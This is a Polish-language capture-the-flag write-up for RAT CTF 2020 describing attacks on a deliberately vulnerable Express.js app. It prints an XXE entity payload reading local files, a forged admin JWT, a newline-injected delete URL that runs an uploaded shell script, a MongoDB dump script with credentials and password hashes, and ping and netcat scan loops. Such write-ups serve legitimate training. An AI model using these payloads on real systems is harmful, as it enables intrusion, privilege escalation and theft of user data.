Wstęp
5-6 września 2020 miałem przyjemność wziąć udział w RAT CTF 2020. Zawody zostały zorganizowane przez The XSS rat z wykorzystaniem platformy Tryhackme. Głównym celem było odnalezienie podatności oraz zdobycie ukrytych flag w udostępnionej aplikacji webowej. Brzmiało jak wyzwanie ;-)
Po deploymencie aplikacji otrzymałem adres IP. Jako, iż spodziewałem się aplikacji webowej, rozpocząłem od wejścia na stronę http://<IP>. Nie myliłem się i moim oczom ukazała się żółta strona, będąca zadaniem. Aplikacja wydawała się bardzo prosta, zawierała możliwość rejestracji i logowania dla użytkowników. Po zalogowaniu pojawiała się możliwość uploadu plików oraz ich podgląd. Warty odnotowania jest fakt, iż obsługiwane pliki były ograniczone do .txt, .doc oraz .docx. Ograniczenie polegało wyłącznie na sprawdzaniu rozszerzenia pliku, nie zawierało rzeczywistej walidacji. Oprócz tego, po sprawdzeniu nagłówków HTTP doszedłem do wniosku, iż mam do czynienia z aplikacją stworzoną z pomocą Express.js.
Pierwsza flaga
Organizatorzy wydarzenia podzielili się wskazówką - atak powinien rozpocząć się od wykorzystania podatności XXE. Przydatny okazał się udostępniony film z youtube oraz dziesiątki wygooglanych przykładów. Z pomocą LibreOffice Writera utworzyłem przykładowy dokument docx i otworzyłem go z pomocą file-rollera.
Następnie wyedytowałem /word/document.xml dodając:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM ”file:///usr/src/app/index.js” > ]>
oraz &xxe;
w ciele dokumentu. Wskazówkę, dotycząca ścieżki pliku znalazłem na podstronie z uploadem.
Po wgraniu spreparowanego dokumentu i podejrzeniu go na stronie otrzymałem wgląd w poniższy kod źródłowy.
Fragmentem, który zwrócił moją uwagę był const dotenv = require(‘dotenv’);
Okazał się on cenną wskazówką,
iż należy sięgnąć do pliku .env. Po szybkiej zmianie w payloadzie udało mi się zdobyć pierwszą flagę.
Druga flaga
Nim zdobyłem jeszcze pierwszą flagę, spędziłem parę godzin próbując shakować/złamać JSON Web Token zapisany w ciasteczku. Wraz z pierwszą flagą otrzymałem TOKEN_SECRET, który był brakującym elementem, pozwalającym na spreparowanie ciasteczka podnoszącego uprawnienia do poziomu admina. Do utworzenia nowego tokena posłużyłem się stroną jwt.io w poniższy sposób.
Po zdobyciu uprawnień administratora, zauważyłem iż na stronie podglądu wgranego pliku pojawił się przycisk jego usunięcia. W międzyczasie organizatorzy udostępnili kolejną wskazówkę - na stronie znajdować miał się element pozwalający na “blind code execution”. Odnaleziony przycisk wydawał się pierwszym podejrzanym ;-)
Przygotowałem skrypt shellowy, wgrałem go na stronę (jako plik tekstowy) i odpaliłem wchodząc na spreparowany adres
url http://<IP>/delete?file=key.txt%0A(cd+usr%0Acd+src%0Acd+app%0Acd+upload%0Ash+inject.txt)
.
Wydaję mi się to dośc zabawne, ponieważ aby zdobyć flagę nie utworzyłem tunelu z tzw. reverse shellem. Zamiast tego
sporządziłem parędziesiąt payloadów, wykonujących różne polecenia systemowe, z których output zapisałem do plików
tekstowych gotowych do podglądu w hackowanej aplikacji. Ostatecznie odnalazłem plik flag2.txt znajdujący się w
głównym systemie pliku i skopiowałem go do katalogu z uploadem. Wykorzystałem do tego następujący payload
cp /flag2.txt ./
.
Trzecia flaga (nie zdobyta)
Niestety, nie zdobyłem trzeciej flagi :-( Byłem prawie pewien, iż trzecia flaga znajduje się w bazie danych aplikacji (tja, to byłoby zbyt proste). Dlatego poświęciłem dostępny czas na utworzenie i uruchomienie poniższego kodu nodejs.
const mongoose = require('mongoose');
mongoose.connect('mongodb://root:jDd4sgFcd##sd19@mongodb/', {useNewUrlParser: true});
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
db.on('open', function () {
db.db.listCollections().toArray(function (err, names) {
if (err) {
console.log(err);
} else {
console.log(names);
}
});
});
const User = require('./model/User');
User.find({}, function(err, dupa) {
if (err) throw err;
console.log(dupa.length);
for (var i = 0;i < dupa.length; i++){
console.log(dupa[i]._id);
console.log(dupa[i].name);
console.log(dupa[i].email);
console.log(dupa[i].password);
console.log(dupa[i].date);
}
});
Niestety, poniższy output okazał się rozczarowujący.
{
name: 'users',
type: 'collection',
options: {},
info: { readOnly: false, uuid: [Binary] },
idIndex: { v: 2, key: [Object], name: '_id_', ns: 'test.users' }
}
]
3
5f1ae68405d8f2001c19f852
4ndr34z
[email protected]
$2a$10$spy7FSrAdLqGlQM2nn4IVO6QCYvKASZJt.xyRRbwsS4c9RWC.MJIq
2020-07-24T13:47:48.618Z
5f53caf4f2900900271614e2
Andreas
[email protected]
$2a$10$dgYp4MC80h46v/IWMOT6xuD6rqNZEn/LahSVlOrQHN7QKxIB4vxsG
2020-09-05T17:29:24.711Z
5f5544ac1463d90027892b19
[email protected]
[email protected]
$2a$10$X5rn7Umcry.CE0fQm5fDOuW6TLfwFql5PwSZwnpJErPAyogUFuH/6
2020-09-06T20:21:00.556Z
Następną rzeczą, która przyszła mi do głowy było przeskanowanie sieci. W tym celu pingnąłem 255 adresów z sieci
172.20.0.0/24
for i in
seq 255
; do
ping -c 1 172.20.0.${i} >> ping_chain.txt 2>&1
done
Pierwsze trzy odpowiedziały. Postanowiłem przeskanować ich porty za pomocą netcata. Warte odnotowania jest to, iż
netcat dostępny z busyboxa pozostawiał wiele do życzenia - gdyż, jak się okazało nie obsługiwał zakresu portów jako
parametr (stąd poniższa pętla).
for i in
seq 9000
; do
nc -zv 172.20.0.1 ${i} >> nc2.txt 2>&1
nc -zv 172.20.0.2 ${i} >> nc2.txt 2>&1
nc -zv 172.20.0.3 ${i} >> nc2.txt 2>&1
done
Tym sposobem odnalazłem kolejną aplikację stworzoną w nodejs, tym razem odpaloną pod wewnętrznym adresem http://172.20.0.1:3000 Rozpocząłem preparowanie payloadów i jej odpytywanie z pomocą netcata. Niestety nie starczyło mi czasu, gdyż impreza dobiegła końca i konkurs został zamknięty.
Podsumowanie
Nie zdobyłem wszystkich flag, za to świetnie się bawiłem i sporo nauczyłem. Dziękuję thexssrat! Zdrówka życzę!